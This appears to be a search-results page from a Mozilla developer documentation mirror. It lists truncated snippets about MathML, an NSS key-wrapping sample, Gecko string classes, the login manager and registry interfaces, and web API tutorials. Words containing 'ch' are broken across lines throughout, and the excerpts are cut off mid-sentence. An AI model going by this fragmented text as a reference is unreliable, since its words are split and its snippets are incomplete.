ion> <option value="latinmodern">latin modern</option> <option value="libertinus">libertinus</option> <option value="lucidabright">lucida bright</option> <option value="minion">minion</option> <option value="stixtwo">stix two</option> <option value="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyres
chola">tex gyre s
chola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="...
... <mi>i</mi> <mo>≤</mo> <mi>m</mi> </mrow> <mrow> <mn>0</mn> <mo><</mo> <mi>j</mi> <mo><</mo> <mi>n</mi> </mrow> </mfrac> </mrow> </munder> <mi>p</mi> <mo stret
chy="false">(</mo> <mi>i</mi> <mo>,</mo> <mi>j</mi> <mo stret
chy="false">)</mo> </mrow> </math> </td></tr> <tr> <td>11</td> <td><img src="https://udn.realityripple.com/samples/17/0564f346b7.png" width="27" height="18" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi...
... </msup> <mrow> <mo>∂</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </mfrac> <mo>)</mo> </mrow> <msup> <mrow> <mo minsize="150%">|</mo> <mi>φ <!-- \varphi --></mi> <mo stret
chy="false">(</mo> <mi>x</mi> <mo>+</mo> <mi mathvariant="normal">i</mi> <mi>y</mi> <mo stret
chy="false">)</mo> <mo minsize="150%">|</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mn>0</mn> </mrow> </math> </td></tr> <tr> <td>15</td> <td><im...
...And 36 more matches
Enc Dec MAC Output Public Key as CSR
*/ #ifndef port_errortostring #ifndef sec_error_base #define sec_error_base (-0x2000) #define port_errortostring(err) pr_errortostring((err), pr_language_i_default) #endif #endif /* * print usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -s -r -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'g' for generating rsa keypair for wrapping\n\n", "g"); fprintf(stderr, "%-20s specify 'e' for encrypt operation\n\n", "e"); fprintf(stderr, "%-20s specify 'd' for decrypt operation\n\n", ...
...te :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* map option letter enumerated commad type */ static commandtype option2command(const
char* c) { swit
ch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(sizeof(secitem)); if (!data) { pr_fprintf(p...
...r_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } data->len = seckey_publickeystrength(pubkey); data->data = (unsigned
char*)port_zalloc((data->len)*sizeof(unsigned int)); if (!data->data) { pr_fprintf(pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem...
...And 36 more matches
nsAdoptingString
class declaration nstadoptingstring extends nstxpidlstring su
ch that: (1) adopt given string on construction or assignment, i.e.
...method overview constructors operator= operator const pruni
char* operator[] get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat first last count
char find
char equals equalsascii equals...
...literal(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsxpidlstring data members no public members.
...And 36 more matches
nsString
names: nsstring for wide
characters nscstring for narrow
characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
... method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii ass...
...ignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsastring_internal data members no public members.
...And 36 more matches
nsXPIDLString
class declaration nstxpidlstring extends nststring su
ch that: (1) mdata can be null (2) objects of this type can be automatically cast to |const
chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, su
ch as "out string" parameters in xpidl.
... names: nsxpidlstring for wide
characters nsxpidlcstring for narrow
characters method overview constructors operator const pruni
char* operator[] operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsa...
...scii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsstring data members no public members.
...And 36 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscriptable this interface represents a database connection atta
ched to a specific file or an in-memory database.
... 1.0 68 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage.
...uments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atables
chema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 vo...
...And 36 more matches
Examine and edit CSS - Firefox Developer Tools
examine css rules the rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific: the four buttons on the right top of the rules view allow you to
change the display of certain css and rules view features.
... you can: toggle pseudo-classes; toggle classes; add a new rule;
change the display based on the color s
cheme preference (as of firefox 72, you must set devtools.inspector.color-s
cheme-simulation.enabled to true in the configuration editor to enable this feature);
change the display based on print media rules.
...in the following example, a spelling error, "background-colour" instead of "background-color" has made the rule invalid: rule display it displays ea
ch rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
...And 36 more matches
Using files from web applications - Web APIs
using the file api, whi
ch was added to the dom in html5, it's now possible for web content to ask the user to select local files and then read the contents of those files.
... if you want to use the dom file api from extensions or other browser
chrome code, you can; however, note there are some additional features to be aware of.
... see using the dom file api in
chrome code for details.
...And 36 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approa
ch to solving a problem around timing and s
cheduling of tasks and microtasks, there are things about how the javascript runtime operates under the hood that may be useful to understand.
...it was designed in an era in whi
ch this was a positive
choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascript was relatively low at that time.
... starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascript environment provided by web browsers has gradually advanced to include powerful features that enable s
cheduling of tasks, multi-threaded application development, and so forth.
...And 36 more matches
Streams API concepts - Web APIs
examples include a file access operation via a fet
ch or xhr call.
... the data is read sequentially in small pieces called
chunks.
... a
chunk can be a single byte, or it can be something larger su
ch as a typed array of a certain size.
...And 36 more matches
Web accessibility for seizures and physical reactions - Accessibility
web te
chnologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions.
... the fact that static images may cause seizures and other disorders is documented in su
ch articles as “gamma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
..."a pattern with the potential for provoking seizures contains clearly discernible stripes, numbering more than five light-dark pairs of stripes in any orientation" in addition to stripes,
checkered patterns have also been known to cause photosensitive seizures, according to cedars-sinai.
...And 36 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the control's ui varies in general from browser to browser; at the moment support is pat
chy, with only
chrome/opera and edge on desktop and most modern versions of mobile browsers having usable implementations.
...in other words, an implementation should allow any valid combination of year, month, day, hour, and minute - even if su
ch a combination is invalid in the user's local time zone (su
ch as times within a daylight saving time spring-forward transition gap).
...another option is to use separate date and time inputs, ea
ch of whi
ch is more widely supported than datetime-local.
...And 36 more matches
MIME types (IANA media types) - HTTP
structure of a mime type the simplest mime type consists of a type and a subtype; these are ea
ch strings whi
ch, when concatenated with a slash (/) between them, comprise a mime type.
... no whitespace is allowed in a mime type: type/subtype the type represents the general category into whi
ch the data type falls, su
ch as video or text.
... ea
ch type has its own set of possible subtypes, and a mime type always has both a type and a subtype, never just one or the other.
...And 36 more matches
The box model - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the css box model, what makes up the box model and how to swit
ch to the alternate model.
...these
characteristics refer to how the box behaves in terms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a new line.
... padding, margin and border will cause other elements to be pushed away from the box unless we decide to
change the display type to inline, elements su
ch as headings (e.g.
...And 35 more matches
What is JavaScript? - Learn web development
in this article we will look at javascript from a high level, answering questions su
ch as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
...it is the third layer of the layer cake of standard web te
chnologies, two of whi
ch (html and css) we have covered in mu
ch more detail in other parts of the learning area.
... javascript is a scripting language that enables you to create dynamically updating content, control multimedia, animate images, and pretty mu
ch everything else.
...And 35 more matches
Object prototypes - Learn web development
previous overview: objects next prototypes are the me
chanism by whi
ch javascript objects inherit features from one another.
... in this article, we explain how prototype
chains work and look at how the prototype property can be used to add methods to existing constructors.
...in the next article, we talk about the modern way of doing things, whi
ch provides easier syntax to a
chieve the same things — see ecmascript 2015 classes.
...And 35 more matches
Framework main features - Learn web development
previous overview: client-side javascript frameworks next ea
ch major javascript framework has a different approa
ch to updating the dom, handling browser events, and providing an enjoyable developer experience.
... jsx jsx, whi
ch stands for javascript and xml, is an extension of javascript that brings html-like syntax to a javascript environment.
...for instance, consider a function add(), whi
ch takes integers a and b and returns their sum.
...And 35 more matches
PKCS11 FAQ
nss sear
ches all the installed pkcs #11 modules when looking for certificates.
... nss typically holds one session read-only session per slot, in whi
ch some of the non-multipart functions are handled.
... multipart functions, su
ch as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating new sessions.
...And 35 more matches
NS_ConvertASCIItoUTF16
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char ass...
...ign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsautostring data members no public members.
... methods constructors void ns_convertasciitoutf16(const
char*) - source parameters
char* acstring void ns_convertasciitoutf16(const
char*, pruint32) - source parameters
char* acstring pruint32 alength void ns_convertasciitoutf16(const nsacstring_internal&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(pruni
char) - source parameters pruni
char c nsastring_internal& operator=(const pruni
char*) - source parameters pruni
char* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_intern...
...And 35 more matches
NS_ConvertUTF8toUTF16
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char ass...
...ign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsautostring data members no public members.
... methods constructors void ns_convertutf8toutf16(const
char*) - source parameters
char* acstring void ns_convertutf8toutf16(const
char*, pruint32) - source parameters
char* acstring pruint32 alength void ns_convertutf8toutf16(const nsacstring_internal&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(pruni
char) - source parameters pruni
char c nsastring_internal& operator=(const pruni
char*) - source parameters pruni
char* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal&...
...And 35 more matches
nsAdoptingCString
class declaration nstadoptingstring extends nstxpidlstring su
ch that: (1) adopt given string on construction or assignment, i.e.
...method overview constructors operator= operator const
char* operator[] get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat first last count
char find
char equals equalsascii ...
... equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsxpidlcstring data members no public members.
...And 35 more matches
nsCString
names: nsstring for wide
characters nscstring for narrow
characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
... method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assigna...
...scii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsacstring_internal data members no public members.
...And 35 more matches
nsFixedString
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char ass...
...ign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsstring data members no public members.
... methods constructors void nsfixedstring(pruni
char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters pruni
char* data pruint32 storagesize void nsfixedstring(pruni
char*, pruint32, pruint32) - source parameters pruni
char* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(pruni
char) - source parameters pruni
char c nsastring_internal& operator=(const pruni
char*) - source parameters pruni
char* data nsastring_internal& operator=(const ...
...And 35 more matches
nsPromiseFlatString
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char ass...
...ign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsstring data members no public members.
... methods constructors void nspromiseflatstring(const nsastring_internal&) - source parameters nsastring_internal& str void nspromiseflatstring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(pruni
char) - source parameters pruni
char c nsastring_internal& operator=(const pruni
char*) - source parameters pruni
char* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get pruni
char* get() const - source returns the null-terminated string find print32 find(...
...And 35 more matches
nsXPIDLCString
class declaration nstxpidlstring extends nststring su
ch that: (1) mdata can be null (2) objects of this type can be automatically cast to |const
chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, su
ch as "out string" parameters in xpidl.
... names: nsxpidlstring for wide
characters nsxpidlcstring for narrow
characters method overview constructors operator const
char* operator[] operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercase...
...equalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nscstring data members no public members.
...And 35 more matches
nsILoginManager
toolkit/components/passwordmgr/public/nsiloginmanager.idlscriptable used to interface with the built-in password manager 1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) replaces nsipasswordmanager whi
ch was used in older versions of gecko.
...to create an instance, use: var loginmanager = components.classes["@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesear
ch(in astring asear
chstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldi...
...e_is(count)] out wstring hostnames); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void sear
chlogins(out unsigned long count, in nsipropertybag mat
chdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); methods addlogin() stores a new login in the login manager.
...And 35 more matches
nsINavHistoryResultViewer
toolkit/components/places/public/nsinavhistoryservice.idlscriptable lets nsinavhistoryresult instances notify places views of
changes in the results.
... removed in gecko 2.0 and replaced with the nsinavhistoryresultobserver interface, whi
ch is similar but allows multiple clients to observe the result at once.
... 1.0 66 introduced gecko 1.9 obsolete gecko 2.0 inherits from: nsisupports last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete.
...And 35 more matches
nsIWindowsRegKey
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) the interface represents a single key in the registry.
...method overview void close(); void create(in unsigned long rootkey, in astring relpath, in unsigned long mode); nsiwindowsregkey create
child(in astring relpath, in unsigned long mode); astring get
childname(in unsigned long index); astring getvaluename(in unsigned long index); unsigned long getvaluetype(in astring name); boolean has
changed(); boolean has
child(in astring name); boolean hasvalue(in astring name); boolean iswat
ching(); void open(in unsigned long rootkey, in astring relpath, in unsigned long mode); nsiwindowsregkey open
child(in astring relpath, in unsigned long mode); acstring readbinaryvalue(in astring name); unsi...
...gned long long readint64value(in astring name); unsigned long readintvalue(in astring name); astring readstringvalue(in astring name); void remove
child(in astring relpath); void removevalue(in astring name); void startwat
ching(in boolean recurse); void stopwat
ching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data); attributes attribute type description
childcount unsigned long this attribute returns the number of
child keys.
...And 35 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function whi
ch is executed after the function or program whi
ch created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment.
... tasks a task is any javascript code whi
ch is s
cheduled to be run by the standard me
chanisms su
ch as initially starting to run a program, an event callback being run, or an interval or timeout being fired.
... these all get s
cheduled on the task queue.
...And 35 more matches
Selection API - Web APIs
once your selection is in a variable, you perform a variety of operations on it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or
changing the selection to be the entire contents of a dom node using selection.selectall
children().
... you can run code in response to the selection being
changed, or a new selection being started, using the globaleventhandlers.onselection
change and globaleventhandlers.onselectstart event handlers.
... globaleventhandlers.onselection
change represents the event handler that is called when a selection
change event is fired on the current object (i.e.
...And 35 more matches
<input type="time"> - HTML: Hypertext Markup Language
appearance
chrome and opera in
chrome/opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component.
... 12-hour 24-hour
chrome 83 in
chrome 83, the ui controls have been updated with a new look and feel.
... 24-hour firefox firefox's time control is very similar to
chrome's, except that it doesn't have the up and down arrows.
...And 35 more matches
Content negotiation - HTTP
in http, content negotiation is the me
chanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify whi
ch is best suited for the user (for example, whi
ch language of a document, whi
ch image format, or whi
ch content encoding).
...the server uses this url to
choose one of the variants it provides – ea
ch variant being called a representation – and returns a specific representation to the client.
... the overall resource, as well as ea
ch of the representations, have a specific url.
...And 35 more matches
Functions - JavaScript
to use a function, you must define it somewhere in the scope from whi
ch you wish to call it.
... see also the exhaustive reference
chapter about javascript functions to get to know the details.
...the statement return specifies the value returned by the function: return number * number; primitive parameters (su
ch as a number) are passed to functions by value; the value is passed to the function, but if the function
changes the value of the parameter, this
change is not reflected globally or in the calling function.
...And 35 more matches
Introduction to using XPath in JavaScript - XPath
mozilla implements a fair amount of the dom 3 xpath, whi
ch means that xpath expressions can be run against both html and xml documents.
... document.evaluate this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, whi
ch can be a single node or a set of nodes.
... contextnode: a node in the document against whi
ch the xpathexpression should be evaluated, including any and all of its
child nodes.
...And 35 more matches
Deployment and next steps - Learn web development
there are different opinions about it, and in this
chapter we will talk briefly about the pros and cons of using typescript.
...if you are not interested at all in typescript, you can skip to the next
chapter, where we will look at different options for deploying our svelte applications, further resources, and more.
...it also starts a development server and wat
ches for
changes, recompiling the app and refreshing the page when a
change occurs.
...And 34 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the
chrome process, also called the parent process, runs the browser ui (
chrome) code and code inserted by extensions one or more content processes, also called
child processes.
... message managers are designed to enable
chrome-privileged javascript code in one process to communicate with
chrome-privileged javascript code in a different process.
... at the top level, there are two different sorts of message managers: frame message managers: these enable
chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process.
...And 34 more matches
HTML parser threading
additionally, ea
ch nshtml5parser has an associated nshtml5treeopexecutor that turns the output (tree operations; discussed later) of the portable parser core into actions performed on the gecko dom.
...the method implementations assert whi
ch thread they are supposed to be called on.
...however, if they released on the parser thread, nshtml5streamparser could be deleted from the parser thread, whi
ch would lead to all sorts of badness, because nshtml5streamparser has fields that hold objects that aren't safe to release except from the main thread.
...And 34 more matches
Places Developer Guide
it provides code samples for many common use-cases, su
ch as crud operations, sear
ching, and observing.
...the api signature and context usually make clear whi
ch is required.
...the bookmarks datastore is hierar
chical, modeling folders and their contents.
...And 34 more matches
NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowerca...
...seequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nscautostring data members no public members.
... methods constructors void ns_convertutf16toutf8(const pruni
char*) - source a helper class that converts a utf-16 string to utf-8 parameters pruni
char* astring void ns_convertutf16toutf8(const pruni
char*, pruint32) - source parameters pruni
char* astring pruint32 alength void ns_convertutf16toutf8(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(
char) - source parameters
char c nsacstring_internal& operator=(const
char*) - source parameters
char* data nsacstring_internal& operator=(const nsacstring_internal&) - source ...
...And 34 more matches
NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequal...
...sascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nscautostring data members no public members.
... methods constructors void ns_lossyconvertutf16toascii(const pruni
char*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters pruni
char* astring void ns_lossyconvertutf16toascii(const pruni
char*, pruint32) - source parameters pruni
char* astring pruint32 alength void ns_lossyconvertutf16toascii(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(
char) - source parameters
char c nsacstring_internal& operator=(const
char*) - source parameters
char* data nsacstring_internal& operator=(co...
...And 34 more matches
nsFixedCString
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(...
...
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nscstring data members no public members.
... methods constructors void nsfixedcstring(
char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters
char* data pruint32 storagesize void nsfixedcstring(
char*, pruint32, pruint32) - source parameters
